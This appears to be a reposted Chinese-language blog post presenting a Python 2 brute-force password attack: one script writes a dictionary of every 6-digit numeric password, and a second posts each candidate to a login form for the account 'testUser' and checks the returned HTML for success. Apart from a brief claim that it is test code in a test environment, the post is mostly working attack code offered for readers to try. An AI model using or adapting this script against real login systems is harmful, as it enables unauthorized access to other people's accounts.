python 暴力破解密碼腳本


python 暴力破解密碼腳本

以下,僅為個人測試代碼,環境也是測試環境,暴力破解原理都是一樣的,

假設要暴力破解登陸網站www.a.com 用戶 testUser的密碼,

首先,該網站登陸的驗證要支持 無限次的密碼嘗試

假設testUser 的密碼為 6位的純數字

 

1:先長成 6位純數字密碼字典

import os

pds=[]


rg=range(0,10)

for first in rg:
    for second in rg:
        for three in rg:
            for four in rg:
                for five in rg:
                    for six in rg:
                        num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                        pds.append(num)



file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')
file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])
file_object.close( )

 上面腳本會在桌面生成 6位數字的所有密碼字典 pwdNum6.txt

 

2: 研究 www.a.com 網站的登陸驗證機制,腳本暴力破解密碼

import urllib,urllib2,HTMLParser  

#解析網頁的爬蟲
class OAParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.pd=[]
    def handle_data(self, data):
        #print "Encountered some data  :", data
        self.pd.append(data)

  
#暴力破解腳本
def tryLogin(name,pwd):
    parm={"loginName":name,
          "password":pwd}
    url="http://192.**.*.*/***/login/li"
    r=urllib2.urlopen(url, urllib.urlencode(parm))
    parse=OAParser()
    parse.feed(r.read())
    parse.close()
    isFind=False
    if "用戶登錄" in parse.pd:#這里是對應網站的密碼驗證邏輯
        print '嘗試密碼',pwd,'登陸失敗'
        isFind = False
    else:
        print user,'登陸成功','password = ',pwd
        isFind=True    
    del(parse)
    
    return isFind
    


user='testUser'
#password=['1','12','123','1234','12345','123456','12345678']  
fpath='/Users/teso/Desktop/pwdNum6.txt'
pfile=open(fpath,'r')

for onePwd in pfile.readlines():
    if tryLogin(user, onePwd[:6]):
        break;

 

流程大致如此,自行研究着玩了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM